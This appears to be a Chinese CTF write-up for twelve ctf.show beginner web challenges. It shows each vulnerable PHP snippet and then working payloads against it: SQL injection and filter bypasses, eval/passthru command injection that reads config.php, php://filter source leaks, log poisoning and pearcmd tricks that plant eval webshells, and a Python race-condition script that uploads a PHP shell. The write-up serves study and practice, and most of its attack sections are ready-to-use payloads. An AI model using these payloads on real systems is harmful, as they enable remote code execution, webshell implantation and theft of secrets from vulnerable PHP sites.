Web1
题目概况:GET请求传入参数id,若id>999,程序执行结束,若id<=999,执行SQL语句(select * from article where id = $id order by id limit 1 ),题目提示id=1000时,能够查询得到flag,如何构造参数进行绕过。
<html>
<head>
<title>ctf.show萌新计划web1</title>
<meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
$id = $_GET['id'];
# 判断id的值是否大于999
if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
die("id error");
}else{
# id 小于 999 拼接sql语句
$sql = "select * from article where id = $id order by id limit 1 ";
echo "执行的sql为:$sql<br>";
# 执行sql 语句
$result = $conn->query($sql);
# 判断有没有查询结果
if ($result->num_rows > 0) {
# 如果有结果,获取结果对象的值$row
while($row = $result->fetch_assoc()) {
echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
}
}
# 关闭数据库连接
$conn->close();
}
}else{
highlight_file(__FILE__);
}
?>
</body>
<!-- flag in id = 1000 -->
</html>
思路:由于程序没有对传入的参数id进行过滤,绕过的方式很多。
- 数学运算绕过:构造payload: ?id=500*2 , ?id=500/0.5 , ?id=~~1000 ,?id=125<<3 ,?id=999%2B1 等
- 十六进制、二进制绕过:构造payload: ?id=0x3E8 ?id=0b1111101000
- SQL联合注入:?id=1 union select * from article; --+
- SQL函数:?id=round(999.9) 四舍五入 , ?id=pow(10,3) 10的三次方 , ?id=sqrt(1000000) 开更号
Web2
题目概况:GET请求传入参数c,匹配system、exec、highlight,然后执行eval函数,否则程序结束,flag在config.php中。
<?php# flag in config.phpinclude("config.php");if(isset($_GET['c'])){$c=$_GET['c'];if(preg_match("/system|exec|highlight/i",$c)){eval($c);}else{die("cmd error");}}else{highlight_file(__FILE__);}?>
思路:eval()代码执行漏洞,可以将请求将shell命令、代码注入执行,注意需要使用分号结尾。
先看一下当前目录,?c=system(‘ls’);,发现当前目录包含两个文件:config.php、index.php
直接构造payload:?c=system(‘tac config.php’); 得到flag。
Web3
题目概况:与Web2题目大致相同,区别在于preg_match之前取反了,现在会对system、exec进行过滤。
<?php# flag in config.phpinclude("config.php");if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/system|exec|highlight/i",$c)){eval($c);}else{die("cmd error");}}else{highlight_file(__FILE__);}?>
思路:可以使用passthru、echo进行绕过,echo接反引号,可以直接执行代码
payload:
- ?c=passthru(‘tac config.php’);
- ?c=echo
tac config.php
;
Web4
题目概况:与Web3题目大致相同,区别在于preg_match过滤的条件增多了,现在会对system、exec、php、config、. 进行过滤。
<?php# flag in config.phpinclude("config.php");if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/system|exec|highlight|cat|\.|php|config/i",$c)){eval($c);}else{die("cmd error");}}else{highlight_file(__FILE__);}?>
思路:使用通配符(?、*)进行绕过。
payload:
- ?c=passthru(‘tac confi*’);
- ?c=passthru(‘tac confi??ph?’);
Web5
题目概况:与Web4题目大致相同,区别在于preg_match过滤的条件增多了,现在会对"system、exec、php、config、. 、;"进行过滤,最主要区别在于会对分号进行过滤。
<?php# flag in config.phpinclude("config.php");if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/system|exec|highlight|cat|\.|\;|file|php|config/i",$c)){eval($c);}else{die("cmd error");}}else{highlight_file(__FILE__);}?>
思路:不能使用分号了,那就使用?>,对前面的<?php进行闭合。
payload:
- ?c=passthru(‘tac *’)?>
Web6
题目概述:新增了对括号的过滤。
<?php# flag in config.phpinclude("config.php");if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/system|exec|highlight|cat|\(|\.|\;|file|php|config/i",$c)){eval($c);}else{die("cmd error");}}else{highlight_file(__FILE__);}?>
思路:没有对反引号进行过滤,使用echo+反引号绕过。
payload: ?c=echo tac *
?>
Web7
题目概述:新增了对通配符*,?的过滤,移除了对分号的过滤。
<?php# flag in config.phpinclude("config.php");if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/system|\\*|\?|\<|\>|\=|exec|highlight|cat|\(|\.|file|php|config/i",$c)){eval($c);}else{die("cmd error");}}else{highlight_file(__FILE__);}?>
思路:1.通过GET传入一个POST参数 2.使用其他通配符[c1-c2],[!c1-c2],[list]等 3.php伪协议
payload1:?c=echo $_POST[a]
; Body: a=tac config.php
payload2:?c=echo tac confi[g][!0-9]ph[p]
;
payload3: ?c=include $_GET[a];&a=php://filter/read=convert.base64-encode/resource=config.php
decode即可得到flag
Web8
题目:
<?php# flag in config.phpinclude("config.php");if(isset($_GET['c'])){$c=$_GET['c'];if(md5("ctfshow$c")==="a6f57ae38a22448c2f07f3f95f49c84e"){echo$flag;}else{echo"nonono!";}}else{highlight_file(__FILE__);}?>
思路:已知需构造的md5值为:a6f57ae38a22448c2f07f3f95f49c84e,此处用到强类型比较===,直接爆破出ctfshow后需拼接的字符串。上脚本。
import hashlib
dict1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890+-*/'for i in dict1:for j in dict1 :for k in dict1:
s=hashlib.md5(('ctfshow'+i+j+k).encode()).hexdigest()if s =='a6f57ae38a22448c2f07f3f95f49c84e':print(i+j+k)break
payload: ?c=36d
Web9
题目:
<?phpif(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/php/i",$c)){include($c);}}else{highlight_file(__FILE__);}?>
思路:可能是文件包含,过滤了php,查看一下HttpResponse,发现server是nginx,此中间件的文件存储在/var/log/nginx/access.log,构造payload: ?c=/var/log/nginx/access.log
日志存在User-Agent,尝试使用User-Agent注入一句话木马:
<?phpeval($_POST['cmd'])?>
上蚁剑
连接上目标服务器,发现www目录下存在36d.php,点击查看得到flag
Web10
题目:过滤了很多特殊符号,其他和上题差不多
<?phpif(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\:|\/|\\\/i",$c)){include($c.".php");}}else{highlight_file(__FILE__);}?>
写入木马:/?c=pearcmd&+config-create+/<?=eval($_POST[1]);?>+eval2.php 蚁剑连接:https://ip/eval2.php 密码:1
Web11
<?phpshow_source(__FILE__);error_reporting(0);if(strlen($_GET[1])<4){echoshell_exec($_GET[1]);}else{echo"hack!!!";}?>
新姿势:直接亮pyload: 1、?1=>nl(相当于把?1=当做nl命令) 2、?1=*>1(相当于nl *>1) 在访问1,下载下来获取flag
Web12
题目:
直接上传一句话木马
<?phpeval($_POST[sb]);?>
上蚁剑,发现无法连接,浏览器访问上述路径,提示404,猜测文件刚上传就被删除了。
网络搜索得到源码:
$new_filename=date('YmdHis',time()).rand(100,1000).'.'.$ext_suffix;if(move_uploaded_file($temp_name,'uploads/'.$new_filename)){echo"uploads/$new_filename";sleep(1);system("rm -rf ./uploads/*.php");}
条件竞争:
# coding: utf-8import requests
import time
import threading
url ="https://bf4ed8fe-2224-4cc0-a299-3b8e9423b3ae.challenge.ctf.show/"# https会报错defThread(fun,*args):# 创建一个线程return threading.Thread(target=fun, args=args)# 多线程函数(target指定运行函数,args需要的参数)defreq(fname):# 尝试执行fname
r = requests.get(url +"uploads/"+ fname +".php")
x = r.text
iflen(x)>0and"404 Not Found"notin x and"容器已过期"notin x:print(x)# 如果有回显就输出defThread_start(fname):for i inrange(100,400):# 每个文件名单起一个线程
Thread(req, fname +str(i)).start()# 打开所有100到400结尾的fname文件,分别创建进程分别打开defupload():whileTrue:
file_data ={'file':('shell.php',"<?php system(\"ls -l ../\");?>".encode())}# 不断上传
r = requests.post(url +"upload.php", files=file_data)# 上传shell.php并获取回显
txt = r.text
print("uploaded:", txt)# 输出上传后得到的内容# 用本次的文件名推算下一次的文件名,相差sleep一次的时间间隔
ts =int(time.mktime(time.strptime(txt[8:22],"%Y%m%d%H%M%S")))
fname = time.strftime("%Y%m%d%H%M%S", time.localtime(ts +1))# 获取下一秒时间# 单起一个线程,爆破下一次upload的文件名
Thread(Thread_start, fname).start()# 创建一个能打开所有文件的进程,同时进行下一次循环if __name__ =='__main__':
upload()
根据回显,发现flag文件
直接访问,得到flag
版权归原作者 zhuhaoxin666 所有, 如有侵权,请联系我们删除。